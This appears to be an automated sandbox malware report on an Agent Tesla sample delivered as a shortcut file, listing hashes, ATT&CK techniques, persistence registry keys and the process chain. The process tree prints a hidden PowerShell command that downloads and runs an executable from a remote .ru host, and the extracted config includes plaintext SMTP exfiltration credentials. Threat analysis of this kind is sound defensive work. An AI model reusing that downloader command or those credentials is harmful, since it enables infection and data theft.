agenttesla | d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356

General

Target

RTGSWBABS240730NEW.lnk
Size

2KB
MD5

82937aae96fa6a40b59703eea97ce1ef
SHA1

d23b17711e2e65609c9973d6f03dde3d2acb3568
SHA256

d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356
SHA512

f3d66ad7d89da4bd494f173506ced0fe46404a786876e4664658e0db4b8075a18e0579f4bb5319aba9dee9338b1f64782a2b3f1f4d7640187b4dfbc0d3240bc8

Score

10^/10

agenttesla discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
techniqueqatar.com
Port:
587
Username:
[email protected]
Password:
TechFB2023$$$

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
techniqueqatar.com
Port:
587
Username:
[email protected]
Password:
TechFB2023$$$
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3844	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3844	powershell.exe
3844	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs	recomplaint.exe

Executes dropped EXE 2 IoCs

pid	Process
2360	file.exe
4188	recomplaint.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\aWUFv = "C:\\Users\\Admin\\AppData\\Roaming\\aWUFv\\aWUFv.exe"	RegSvcs.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	api.ipify.org
23	api.ipify.org
24	ip-api.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x00080000000234bd-19.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4188 set thread context of 2316	4188	recomplaint.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recomplaint.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3844	powershell.exe
3844	powershell.exe
2316	RegSvcs.exe
2316	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4188	recomplaint.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	2316	RegSvcs.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2360	file.exe
2360	file.exe
2360	file.exe
4188	recomplaint.exe
4188	recomplaint.exe
4188	recomplaint.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
2360	file.exe
2360	file.exe
2360	file.exe
4188	recomplaint.exe
4188	recomplaint.exe
4188	recomplaint.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2316	RegSvcs.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 3844	1648	cmd.exe	83
PID 1648 wrote to memory of 3844	1648	cmd.exe	83
PID 3844 wrote to memory of 2360	3844	powershell.exe	84
PID 3844 wrote to memory of 2360	3844	powershell.exe	84
PID 3844 wrote to memory of 2360	3844	powershell.exe	84
PID 2360 wrote to memory of 4188	2360	file.exe	85
PID 2360 wrote to memory of 4188	2360	file.exe	85
PID 2360 wrote to memory of 4188	2360	file.exe	85
PID 4188 wrote to memory of 2316	4188	recomplaint.exe	90
PID 4188 wrote to memory of 2316	4188	recomplaint.exe	90
PID 4188 wrote to memory of 2316	4188	recomplaint.exe	90
PID 4188 wrote to memory of 2316	4188	recomplaint.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RTGSWBABS240730NEW.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Users\Admin\AppData\Local\unspattered\recomplaint.exe
      "C:\Users\Admin\AppData\Local\Temp\file.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:4188
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xvtur2pu.npw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\file.exe

Filesize
1.2MB

MD5
aa6f514a7afa81e26bcf612923ea483c

SHA1
2033a141125d0a0989ef3c0002833bacf0a390c7

SHA256
997c285947ae58d2acfb5c0b32adfa7288168faa5aa691d094f5ffd9a9728a3a

SHA512
f8d0475754589e9d57462ac8a13820132714ff682a8655e1ca95d037fb2e65f62815a79af855b4e2707cf9cb5a9ee35e262cba4d277b90ad823bcfe4d1d5d335

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C:\Users\Admin\AppData\Local\Temp\flexuoseness

Filesize
249KB

MD5
074728216283ad6fa8777c82dfbb55de

SHA1
92df63cbab81835463ba54f6791bd6a2944646a9

SHA256
d63fb30628dc1c5dab8172821c1a68765acf307c695732a3bf8111095eb177bb

SHA512
260c4965d0ad3dac2e2f35f05edef93b8f9581830f7f00adc73413c05c01e4864b4d5bc7a6a6e7b53c3022abba60a5dc524f43ed5bd096d203abd7191c493900

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memory/2316-41-0x00000000051A0000-0x0000000005206000-memory.dmp

Filesize
408KB

Download
memory/2316-47-0x00000000068B0000-0x00000000068BA000-memory.dmp

Filesize
40KB

Download
memory/2316-46-0x0000000006910000-0x00000000069AC000-memory.dmp

Filesize
624KB

Download
memory/2316-45-0x0000000006820000-0x0000000006870000-memory.dmp

Filesize
320KB

Download
memory/2316-42-0x0000000006780000-0x0000000006812000-memory.dmp

Filesize
584KB

Download
memory/2316-39-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2316-40-0x0000000005750000-0x0000000005CF4000-memory.dmp

Filesize
5.6MB

Download
memory/3844-13-0x00007FFE91E50000-0x00007FFE92911000-memory.dmp

Filesize
10.8MB

Download
memory/3844-28-0x00007FFE91E50000-0x00007FFE92911000-memory.dmp

Filesize
10.8MB

Download
memory/3844-14-0x00007FFE91E50000-0x00007FFE92911000-memory.dmp

Filesize
10.8MB

Download
memory/3844-2-0x00007FFE91E53000-0x00007FFE91E55000-memory.dmp

Filesize
8KB

Download
memory/3844-12-0x0000019942B20000-0x0000019942B42000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads